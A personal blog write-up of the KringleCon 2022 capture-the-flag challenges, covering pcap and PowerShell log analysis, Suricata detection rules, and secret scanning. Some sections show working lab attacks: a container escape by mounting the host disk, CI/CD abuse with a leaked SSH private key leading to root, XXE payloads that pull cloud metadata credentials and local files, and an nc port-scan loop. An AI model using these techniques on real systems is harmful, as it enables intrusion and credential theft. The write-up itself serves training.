Contents:
Overview:
This post will discuss my progress through KringleCon 2022. I used the task ordering from the Kringlecon discord sponsored by SANS.
I greatly enjoyed this years competition. The overall theme was a LOTR quest in the great depths underneath Kringlecon for 5 rings that a “flobbit” (read hobbit) had stolen and turn him into smeigol (I forget the fake name they gave him at this point). Anyway, this year was even more fun than last year, since I actually finished all the challenges. My favorite overall was the CI/CD challenge, and look at that specific write up to see why. Thanks SANS for putting this on and all people who put in countless hours to setup and run the event.
Objectives:
Gather all 5 rings: 1. The Tolkien Ring 2. The Elfen Ring 3. The Web Ring 4. The Cloud Ring 5. The Ring of Fire
Task 1: Introduction
nothing, just follow the prompts
The Tolkien Ring:
Task 2: wireshark-practice
This is some simple wireshark practice on a pcap.
Some useful tshark commands for me:
tshark -r suspicious.pcap --export-objects "http,http_dir"
File found via inspecting app(1).php
and determining where the bytecode object is saved to: saveAs(blob1, 'Ref_Sept24-2020.zip');
.
Inspect tls settings and certificates:
tshark -r suspicious.pcap -2R "tls.handshake.type == 11" -T json
Print out CountryNames
╰─$ tshark -r suspicious.pcap -2R "tls.handshake.type == 11" -n -V | grep CountryName | tr -d ' ' | sort | uniq
CountryName:IE
CountryName:IL
CountryName:SS
CountryName:US
LINK to TRANSLATE 2 letter names:
- IE: Ireland
- IS: Israel
- SS: South Sudan
- US: United states
fun notes on JQ:
Wow I played around with JQ for way too long on this…
For some reason tshark doesn’t play nice with JQ…..
This Returns x509sat.CountryName field….
$ tshark -r suspicious.pcap -2R "tls.handshake.type == 11" -T json -n -V -J "tls" | grep -i Country
However, this returns nothing….
╰─$ tshark -r suspicious.pcap -2R "tls.handshake.type == 11" -T json -n -V -J "tls" | jq ".[]._source.layers.tls.\"tls.record\"" | grep -i Country
If anyone has any idea why this happens, would love an answer, otherwise at some point I’ll post on stack exchange.
Q/A:
- what objects?:
http
- largest file?:
app.php
(the one with obvious shellcode injected) - which packet?:
687
- ip of apache server?:
192.185.57.242
- what file is saved?
Ref_Sept24-2020.zip
- Ireland, Israel, South Sudan, United States
- Yes the host is infected as seen by the encoded webshell uploaded to the website lol
Links:
Task 3: windows-event-logs:
Finding the date is a grep and sort count away:
╰─$ ./chainsaw/chainsaw search "" powershell.evtx 2>/dev/null | grep "SystemTime:" | awk -F ":" '{print $2}' | sort | uniq -c | sort -r
2811 2022-12-23T03
2445 2022-12-24T18
....
Name of the file with the recipe:
./chainsaw/chainsaw search "" powershell.evtx | grep -i Add-content
How to actually find the field you want to use for timestamp. Essentially its hierarchical, so by default the field you want to filter for time is: Event.System.TimeCreated
.
A simple command to do this is:
╰─$ ./chainsaw/chainsaw search "" powershell.evtx --from 2022-12-24T00:00:00 --timestamp Event.System.TimeCreated
For number 3, a hint suggested filtering for “get-content” I am not a powershell master, but looks like this is a unique command that will let you, read a variable/file. Since the question asks: “The contents were retrieved stored and changed”, seems like this command will probably have to be called. I found it through the following ways:
$ ./chainsaw/chainsaw search "" powershell.evtx --json --from 2022-12-24T00:00:00 --timestamp Event.System.TimeCreated | jq ".[].Event.EventData.Payload | gsub(\"\\r\\n\"; \"\")? " > parsing.txt
$ cat parsing.txt | grep -i "get-content" | sort | uniq | tail -n 1
"CommandInvocation(Get-Content): \"Get-Content\"ParameterBinding(Get-Content): name=\"Path\"; value=\".\\recipe_updated.txt\""
At this point it was somewhat easier to just use their terminal since that had the exact content they were expecting. I spent alot of time figuring out how to parse chainsaw, but I think it was worth it learning how to use jq and chainsaw.
Note on Powershell event logging: Event ID 4103 - PowerShell Module Logging
. For more info see the links
Q/A:
- date of event?:
12/24/2022
- Recipe
- Copy/pasted image:
- Copy/pasted image:
- recipe.txt was attacked multiple times
- files deleted?
Yes
(the recipe_updated.txt was removed, vialdel
command) - was
Recipe
ever deleted?
no
, greping for del/Recipe shows no results - what was the event Id that shows the actual commands the attacker ran?:
4104 Event ID 4104 - PowerShell Script Block Logging
- is the secret ingredient compromised?
yes
, duh they completely obliterated the recipe - what is the ingredient?
honey
Links:
Task 4: suricata-regata:
Here I have to write some suricata rules. I’ll put my notes in this section along with some analysis, followed by the answers in Q/A.
One gotcha I ran into is you need to make sure each suricata rule has a unique SID: stackoverflow.
Wow! Surricata seems like a great tool, it’ll even automatically ungzip content AND look across the entire protocol stack for specific content. That last rule will look for a specific javascript string in the http payload.
Q/A:
- First off, the STINC (Santa’s Team of Intelligent Naughty Catchers) has a lead for us.
They have some Dridex indicators of compromise to check out.
First, please create a Suricata rule to catch DNS lookups for
adv.epostoday.uk
.
alert dns $HOME_NET any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; nocase; sid:2025218; rev:4;)
- Develop a Suricata rule that alerts whenever the infected IP address
192.185.57.242
communicates with internal systems over HTTP.
alert http $HOME_NET any <> [192.185.57.242/32] any (msg:"Investigate suspicious connections, possible Dridex infection"; )
- Develop a Suricata rule to match and alert on an SSL certificate for
heardbellith.Icanwepeh.nagoya
.
alert tls any any -> any any (msg: "Investigate bad certificates, possible Dridex infection"; tls.cert_subject; content:"CN=heardbellith.Icanwepeh.nagoya"; isdataat:!1,relative; sid:10001;)
- Let’s watch for one line from the JavaScript: let byteCharacters = atob Oh, and that string might be GZip compressed - I hope that’s OK! Just in case they try this again, please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection.
alert http any any -> any any (msg: "Suspicious JavaScript function, possible Dridex infection" ; http.response_body; content:"let byteCharacters = atob"; sid:202;)
The Elfen Ring:
Task 5: Clone with a difference
So I’m not really sure why this was even a challenge, but they essentially have you a malformed URL I guess, and you could either navigate to the website, or change the url to https.
They give you this command: git clone git@haugfactory.com:asnowball/aws_scripts.git
If you proceed to the url: https://haugfactory.com/orcadmin/aws_scripts
You get the following script: git clone http://haugfactory.com/orcadmin/aws_scripts.git
And you can download the Readme and get the last word (or you can just look on the website ;) )
Q/A:
Then runtoanswer and tell us the last word of the README.md file!
maintainer
Task 6: Prison Escape
Here the user is dropped into a container
Lets do some exploring:
|
|
I see the word docker in there so I can confirm I am in a container.
lets looks at the users:
|
|
doing a find, shows no files owned by abc, but some owned by samways and rest owned by root
Well based on the articles, I’m hoping I’m in a privileged container, so lets try sudo su
to get a root shell (ideally this root will be the same as the host root).
rinchum-land:~$ sudo su
grinchum-land:/home/samways# whoami
root
Pay dirt!!
Next lets see if I can get access to filesystems, and if so try mounting to see what happens:
grinchum-land:/home/samways# fdisk -l
Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors
2048 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Disk /dev/vda doesn't contain a valid partition table
grinchum-land:/home/samways# mkdir -p /mnt/host
grinchum-land:/home/samways# mount /dev/vda /mnt/host
grinchum-land:/home/samways# ls /mnt/host/
bin dev home lib32 libx32 media opt root sbin sys usr
boot etc lib lib64 lost+found mnt proc run srv tmp var
grinchum-land:/home/samways# ls /
app defaults home media proc srv var
bin dev init mnt root sys
command docker-mods keygen.sh opt run tmp
config etc lib package sbin usr
grinchum-land:/home/samways#
ez pz
well looks like I have access to some kind of other host (probably the parent that is executing my container), as seen by the different in the /mnt/host and / directories. (probably a vm within the system sans uses to spin up containers!)
So lets check the home directories:
grinchum-land:/home/samways# cd /mnt/host/
grinchum-land:/mnt/host# ls home/
jailer
OK
wowzers that was ez. See Q/A for the answer! I actually struggled on this one for a while because I thought the vda
system was bogus. I expected a typically sda/
or hda/
result from fdisk… Turns out since this is probably running in someweird virtualized system, I had to mount the vda disk.
Q/A:
Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv?
grinchum-land:/mnt/host/home/jailer/.ssh# cat jail.key.priv
Congratulations!
You've found the secret for the
HHC22 container escape challenge!
.--._..--.
___ ( _'-_ -_.'
_.-' `-._| - :- |
_.-' `--...__|
.-' '--..___
/ `._ \
`. `._ one |
`. `._ /
'. `._ :__________....-----'
`..`---' |-_ _- |___...----..._
|_....--' `.`.
_...--' `.`.
_..-' _.'.'
.-' step _.'.'
| _.'.'
| __....------'-'
| __...------''' _|
'--''' |- - _ |
_.-''''''''''''''''''-._
_.' |\
.' _.' |
`._ closer |:.'
`._ _.' |
`..__ | |
`---.._.--. _| |
| _ - | `-.._|_.'
.--...__ | - _|
.'_ `--.....__ |
.'_ `--..__
.'_ `.
.'_ 082bb339ec19de4935867 `-.
`--..____ _`.
```--...____ _..--'
| - _ ```---.._.'
| - _ |
|_ - - |
| - _ |
| -_ -_|
| - _ |
| - _ |
| -_ -_|
grinchum-land:/mnt/host/home/jailer/.ssh#
Links:
Task 7: Jolly CICD
I am greeted with this message from the previous challenge, looks like some vulnerable code just got committed:
So I clone it like so:
|
|
Well that worked, lets do a little recon on the website/gitlab really quickly before checking out the code (curious what services are up):
grinchum-land:/home/samways/wordpress.flag.net.internal# for x in {1..2222} ; do nc -zv wordpress.flag.net.internal $x 2>&1 | grep succeeded ; done
Connection to wordpress.flag.net.internal 22 port [tcp/ssh] succeeded!
Connection to wordpress.flag.net.internal 80 port [tcp/http] succeeded!
grinchum-land:/home/samways/wordpress.flag.net.internal#
grinchum-land:/home/samways/wordpress.flag.net.internal# for x in {1..2222} ; do nc -zv gitlab.flag.net.internal $x 2>&1 | grep succeeded ; done
Connection to gitlab.flag.net.internal 22 port [tcp/ssh] succeeded!
Connection to gitlab.flag.net.internal 80 port [tcp/http] succeeded!
Ok seems like theres (probably) not that much there. Nmap is borked, so I can’t run that, but this is a good enough close approximate
Lets try doing some git forensics and see if I can see what he regrets committing:
.....
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date: Tue Oct 25 13:42:54 2022 -0700
whoops
commit abdea0ebb21b156c01f7533cea3b895c26198c98
Author: knee-oh <sporx@kringlecon.com>
Date: Tue Oct 25 13:42:13 2022 -0700
added assets
commit a7d8f4de0c594a0bbfc963bf64ab8ac8a2f166ca
Author: knee-oh <sporx@kringlecon.com>
Date: Mon Oct 24 17:32:07 2022 -0700
init commit
Hmmmmm… seems suspicious. Luckilyk, I found this after a few minutes, would have taken alot longer otherwise.
Lets see what the whoops was:
grinchum-land:/home/samways/wordpress.flag.net.internal# git diff e19f653bde9ea3de6af21a587e41e7a909db1ca5 abdea0ebb21b156c01f7533cea3b895c26198c98
commit 37b5d575bf81878934adb937a4fff0d32a8da105 (HEAD -> main, origin/main, origin/HEAD)
Author: knee-oh <sporx@kringlecon.com>
diff --git a/.ssh/.deploy b/.ssh/.deploy
new file mode 100644
diff --git a/.ssh/.deploy b/.ssh/.deploy
new file mode 100644
index 0000000..3f7a9e3
--- /dev/null
+++ b/.ssh/.deploy
@@ -0,0 +1,7 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
+9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
+AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
+PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
+-----END OPENSSH PRIVATE KEY-----
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
new file mode 100644
index 0000000..8c0b43c
--- /dev/null
+++ b/.ssh/.deploy.pub
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com
Wow we’ve got an ssh key to use, I tried logging in with it at both urls, but wasn’t able to. However, I figured why not try and git clone and see if I can push a commit (like the hint says: try recloning with the new credentials)
|
|
Woohooo!! I just pushed to the repo, and have now pushed to the ci/cd pipeline! Now how do I follow through on the question to “exploit” the pipeline. I have a feeling the real target should probably be the website…
if I look at the repo, it looks like they’re using an ssh key on the gitlab runner to push to prod, lets see if I can push the KEY to prod (then maybe I can ssh to the website)
|
|
commit 35d2cd51a2b91f1e7bbe977e0d5dc6d1333facd0 (HEAD -> main, origin/main, origin/HEAD)
Author: root <root@grinchum-land.flag.net.internal>
Date: Thu Dec 29 16:46:37 2022 +0000
exploiting pipeline
It worked!! lets see if I can ssh with it :)
grinchum-land:~# wget wordpress.flag.net.internal/KEY
--2022-12-29 16:50:00-- http://wordpress.flag.net.internal/KEY
Resolving wordpress.flag.net.internal (wordpress.flag.net.internal)... 172.18.0.88
Connecting to wordpress.flag.net.internal (wordpress.flag.net.internal)|172.18.0.88|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 411
Saving to: 'KEY'
KEY 100%[=========================================================================>] 411 --.-KB/s in 0s
2022-12-29 16:50:00 (10.9 MB/s) - 'KEY' saved [411/411]
grinchum-land:~# ls
KEY clone_ssh
Had to chmod
the key, but then…. WE ARE IN:
grinchum-land:~# ssh -i KEY root@wordpress.flag.net.internal
Linux wordpress.flag.net.internal 5.10.51 #1 SMP Mon Jul 19 19:08:01 UTC 2021 x86_64
....
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@wordpress:~#
root@wordpress:~# ls
root@wordpress:~# cd /
root@wordpress:/# ls
bin boot dev etc flag.txt ....
This was fun :) Thanks SANS!
Q/A:
Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring.
Hint: If you find a way to impersonate another identity, you might try re-cloning a repo with their credentials.
root@wordpress:/# cat flag.txt
Congratulations! You've found the HHC2022 Elfen Ring!
░░░░ ░░░░
░░ ░░░░
░░ ░░░░
░░
░░ ░░░░
░░
░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░ ░░
░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░ ░░
░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒ ░░
░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░ ▓▓▓▓▓▓▓▓▒▒░░░░ ░░░░
░░ ░░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▒▒░░ ░░░░
░░▒▒▓▓▓▓▓▓ ▓▓▒▒▒▒░░ ░░░░
▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░ ░░░░
░░ ▒▒▓▓▓▓▓▓ ▓▓▒▒░░░░ ░░░░▒▒
░░▒▒▓▓▓▓░░ ░░▒▒▒▒░░░░ ░░░░▒▒
░░▓▓▓▓▓▓ ▓▓▒▒░░░░ ░░░░▒▒
░░ ▒▒▓▓▓▓ ▒▒░░░░ ░░▒▒▒▒
░░ ░░▓▓▓▓▓▓ ▒▒▒▒░░░░ ░░▒▒▒▒
░░ ▒▒▓▓▓▓ ▒▒░░░░ ░░▒▒▒▒
▒▒▓▓▓▓ ▒▒░░░░░░ ░░▒▒▒▒
░░ ░░▓▓▓▓▒▒ ▒▒░░░░░░ ░░▒▒▒▒▓▓
░░ ▒▒▓▓▓▓ ░░░░░░░░ ░░▒▒▒▒▓▓
░░ ▒▒▓▓▓▓ ░░░░░░░░ ░░▒▒▒▒▓▓
░░ ▒▒▓▓▓▓ oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT ░░░░░░░░ ░░▒▒▒▒▓▓
░░░░ ▒▒▓▓▓▓ ░░░░ ░░░░░░▒▒▒▒▓▓
░░░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓
▒▒░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓
▒▒░░░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓
▓▓░░░░ ░░▓▓▓▓▒▒ ░░ ░░░░▒▒▒▒▓▓▓▓
▒▒░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓
▒▒░░░░ ░░▓▓▓▓ ░░ ░░░░▒▒▒▒▓▓▓▓
▓▓▒▒░░ ░░▒▒▓▓▓▓ ░░ ░░▒▒▒▒▒▒▓▓▓▓
▓▓▒▒░░░░ ▒▒▒▒▓▓ ░░░░▒▒▒▒▒▒▓▓▓▓
▒▒▒▒░░░░ ▒▒▒▒▒▒▒▒ ░░▒▒▒▒▒▒▒▒▓▓
▓▓▒▒░░░░ ░░░░▒▒▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓
▒▒▒▒░░░░ ░░▒▒▒▒▒▒▒▒ ░░ ░░░░▒▒▒▒▒▒▒▒▓▓
▓▓▒▒░░░░ ░░░░░░░░▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓
▓▓▓▓▒▒░░░░░░░░░░░░░░▒▒▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓
▓▓▓▓▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒ ░░░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓
▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓
▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░ ░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓
▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░░░░░ ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓
██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████
████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████
░░░░░░░░▓▓██████████████████░░░░░░░░
The Web Ring:
Task 8: boria pcap mining
The last and final question on this challenge was fun as it involved having to dig into the pcap to find the attack that was used on the IMDS server last year to get it to print its internal credentials! Pretty neat :)
Q/A:
Most of the traffic to this site is nice, but one IP address is being naughty! Which is it?
|
|
The first attack is a brute force login. What’s the first username tried?
|
|
The next attack is forced browsing where the naughty one is guessing URLs. What’s the first successful URL path in this attack?
$ tshark -r victim.pcap -2R "http.request.method == POST && http.request.uri != \"/login.html\"" -T json -n -V -J "http" | jq '.[:1]' | grep uri
"http.request.uri": "/proc",
The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?
$ tshark -r victim.pcap -2R "http.request.method == POST && http.request.uri == \"/proc\"" -T json -n -V -J "http" | jq ' .[]._source.layers.http."http.file_data"' | tail -n 1
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE foo [ <!ENTITY id SYSTEM \"http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance\"> ]>\n<product><productId>&id;</productId></product>\n"
Task 9: boria mine door
For this I have to solve the text input for 6 pins to the lock of the “boria” mine door. The code sends our input to a server, renders it in a browser, and sends us back the result. Looks like I just have to get png’s to output on the remote end so that they connect the pins with the correct colors… easy enough.
This challenge was annoying, but was interesting to learn how specific HTML tags worked that I’d never seen before. While I initially found this challenge very frustrating, it overall proved to be an interesting problem solving experience.
Q/A:
- any white text to connect the inputs
@&@&&W&&W&&&&
- need to addd an svg to connect the white pins:
<svg width="400" height="400">
<rect width="400" height="400" style="fill:white" />
</svg>
- need to add JS to connect the blue pins:
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<!-- Points -->
<circle cx="10" cy="10" r="200" fill="blue"/>
</svg>
Hints:
- The locks take input, render some type of image, and process on the back end to unlock. To start, take a good look at the source HTML/JavaScript.
- Understanding how Content-Security-Policy works can help with this challenge.
- Developers use both client- and server-side input validation to keep out naughty input.
Task 10: Glamtriels fountain
So this is the final web challenge and the goal of the challenge is to get Glamtriel’s ring (Galadriel from lord of the rings). This challenge was very gamified to me and easily my least favorite, from all of the other wonderful challenges this year at SANS.
Anyway, the beginning of the challenge gives you a screen like this:
And you have to drag and drop the images until you get to a screen like this:
After that the actual challenge beings. I’m really not sure why they did that and the above process was very frustrating, and would have to be repeated if your cookie ever got reset… fun.
You can grab the cURL request from the browser for the latest dropped.png
and start editing on your terminal. You’ll need to edit:
Add these to the request:
accept: */*
content-type: application/xml
That lets you send xml like this in the --data-raw
param, which is just a conversion of the old json payload.
<!--?xml version="1.0" ?-->
<root>
<imgDrop>&ent;</imgDrop>
<who>fountain</who>
<reqType>xml</reqType>
</root>
Finally you can add the following to your xml payload to run the XXE attack:
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///app/static/images/"> ]>
With the following Filepaths:
/app/static/images/ringlist.txt
/app/static/images/x_phial_pholder_2022/redring.txt
/app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt
Which show you these for the ringlist (1) leading to the redring hint (2):
And finally I can modify the entries in the xml based on glamtriel’s final hint:
|
|
To get the final input and answer. she wants the silver ring so I have to add img1 as the image drop, but make the reqType our xxe attack. Why I don’t know, but ah well!
|
|
|
|
This is the cool ring you can get from the png:
Thanks to my coworker and user @i81b4u
on the SANS discord for help on solving this challenge.
Q/A:
Stare into Glamtariel’s fountain and see if you can find the ring! What is the filename of the ring she presents you?
goldring-morethansupertopsecret76394734.png
The Cloud Ring:
Task 11: aws cli intro
Easy cli configuration.
Q/A
- Add these creds/settings:
Next, please configure the default aws cli credentials with the access key AKQAAYRKO7A5Q5XUY2IY, the secret key qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1 .
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html#cli-configure-quickstart-config
- Caller ID:
elf@8e60ad28d813:~$ aws sts get-caller-identity
{
"UserId": "AKQAAYRKO7A5Q5XUY2IY",
"Account": "602143214321",
"Arn": "arn:aws:iam::602143214321:user/elf_helpdesk"
}
Task 12: trufflehog search
Well that was easy and awesome! This tool just searches for secrets and finds them.
Link to TruffleHog: Link
Running trufflehog to find secrets:
╰─$ ./trufflehog git http://haugfactory.com/orcadmin/aws_scripts.git
🐷🔑🐷 TruffleHog. Unearth your secrets. 🐷🔑🐷
Found unverified result 🐷🔑❓
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAAIDAYRANYAHGQOHD
Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
File: put_policy.py
Email: asnowball <alabaster@northpolechristmastown.local>
Repository: http://haugfactory.com/orcadmin/aws_scripts.git
Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6
Found unverified result 🐷🔑❓
Detector Type: Gitlab
Decoder Type: PLAIN
Raw result: add-a-file-using-the-
File: README.md
Email: alabaster snowball <alabaster@northpolechristmastown.local>
Repository: http://haugfactory.com/orcadmin/aws_scripts.git
Timestamp: 2022-09-06 19:54:48 +0000 +0000
Line: 14
Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85
Found unverified result 🐷🔑❓
Detector Type: Gitlab
Decoder Type: BASE64
Raw result: add-a-file-using-the-
Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85
File: README.md
Email: alabaster snowball <alabaster@northpolechristmastown.local>
Repository: http://haugfactory.com/orcadmin/aws_scripts.git
Timestamp: 2022-09-06 19:54:48 +0000 +0000
Line: 14
Q/A:
What’s the name of the file that has AWS credentials?
put_policy.py
Task 13: exploitation-via-aws-cli
Running trufflehog on the gitlab git project:
╰─$ ../trufflehog-search/trufflehog git https://haugfactory.com/asnowball/aws_scripts.git
🐷🔑🐷 TruffleHog. Unearth your secrets. 🐷🔑🐷
Found unverified result 🐷🔑❓
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAAIDAYRANYAHGQOHD
Email: asnowball <alabaster@northpolechristmastown.local>
Repository: https://haugfactory.com/asnowball/aws_scripts.git
Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6
Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
File: put_policy.py
Turns out I need to find the aws_secret_access_key… lets check the put_policy.py
:
|
|
Alright now we’ve got bot the key_id
and the secret_key
Next lets apply what I learned from the aws cli intro and check I can login:
|
|
and I’m in!
Lets see what I can do, I have to figure out how to elevate privileges. The next step is figuring out how to list policies attached to the logged in user as
|
|
Looks like I have a “READONLY_POLICY” :(
Next step is to look at the policy:
|
|
default version of the policy:
elf@c0169f0e6055:~$ aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"lambda:ListFunctions",
"lambda:GetFunctionUrlCo
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": [
"iam:GetUserPolicy",
"iam:ListUserPolicies",
"iam:ListAttachedUserPolicies"
],
"Resource": "arn:aws:iam::602123424321:user/${aws:username}"
},
{
"Effect": "Allow",
"Action": [
"iam:GetPolicy",
"iam:GetPolicyVersion"
],
"Resource": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
},
{
"Effect": "Deny",
"Principal": "*",
"Action": [
"s3:GetObject",
"lambda:Invoke*"
],
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": false,
"CreateDate": "2022-06-21 22:02:30+00:00"
}
}
Inline policies:
elf@c0169f0e6055:~$ aws iam list-user-policies --user-name haug
{
"PolicyNames": [
"S3Perms"
],
"IsTruncated": false
}
Get the inline policy:
elf@b7ba81aaa7e8:~$ aws iam get-user-policy --user-name haug --policy-name S3Perms
{
"UserPolicy": {
"UserName": "haug",
"PolicyName": "S3Perms",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:ListObjects"
],
"Resource": [
"arn:aws:s3:::smogmachines3",
"arn:aws:s3:::smogmachines3/*"
]
}
]
}
},
"IsTruncated": false
}
Looks like I should checkout the s3 bucket:
elf@b7ba81aaa7e8:~$ aws s3api list-objects --bucket smogmachines3 | grep Key
"Key": "coal-fired-power-station.jpg",
"Key": "industry-smog.png",
"Key": "pollution-smoke.jpg",
"Key": "pollution.jpg",
"Key": "power-station-smoke.jpg",
"Key": "smog-power-station.jpg",
"Key": "smogmachine_lambda_handler_qyJZcqvKOthRMgVrAJqq.py",
"MaxKeys": 1000,
elf@b7ba81aaa7e8:~$ aws s3api list-objects --bucket smogmachines3 | grep DisplayName
"DisplayName": "grinchum",
"DisplayName": "grinchum",
"DisplayName": "grinchum",
"DisplayName": "grinchum",
"DisplayName": "grinchum",
"DisplayName": "grinchum",
"DisplayName": "grinchum",
nothing really interesting… lets see about the lambda’s I have access to:
elf@b7ba81aaa7e8:~$ aws lambda list-functions [17/570]
{
"Functions": [
{
"FunctionName": "smogmachine_lambda",
"FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
"Runtime": "python3.9",
"Role": "arn:aws:iam::602123424321:role/smogmachine_lambda",
"Handler": "handler.lambda_handler",
"CodeSize": 2126,
"Description": "",
"Timeout": 600,
"MemorySize": 256,
"LastModified": "2022-09-07T19:28:23.634+0000",
"CodeSha256": "GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=",
"Version": "$LATEST",
"VpcConfig": {
"SubnetIds": [
"subnet-8c80a9cb8b3fa5505"
],
"SecurityGroupIds": [
"sg-b51a01f5b4711c95c"
],
"VpcId": "vpc-85ea8596648f35e00"
},
"Environment": {
"Variables": {
"LAMBDASECRET": "975ceab170d61c75",
"LOCALMNTPOINT": "/mnt/smogmachine_files"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "7e198c3c-d4ea-48dd-9370-e5238e9ce06e",
"FileSystemConfigs": [
{
"Arn": "arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/fsap-db3277b03c6e975d2",
"LocalMountPath": "/mnt/smogmachine_files"
}
],
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
}
}
]
}
Q/A:
Flex some more advanced AWS CLI skills to escalate privileges!
And I did it, found the public accessible lambda function url:
elf@b7ba81aaa7e8:~$ aws lambda get-function-url-config --function-name smogmachine_lambda
{
"FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/",
"FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
"AuthType": "AWS_IAM",
"Cors": {
"AllowCredentials": false,
"AllowHeaders": [],
"AllowMethods": [
"GET",
"POST"
],
"AllowOrigins": [
"*"
],
"ExposeHeaders": [],
"MaxAge": 0
},
"CreationTime": "2022-09-07T19:28:23.808713Z",
"LastModifiedTime": "2022-09-07T19:28:23.808713Z"
}
Hints/Links:
- AWS inline policies pertain to one identity while managed policies can be attached to many identities.
- You can try s3api or lambda service commands, but Chris Elgee’s talk on AWS and IAM might be a good start!
The Ring of Fire:
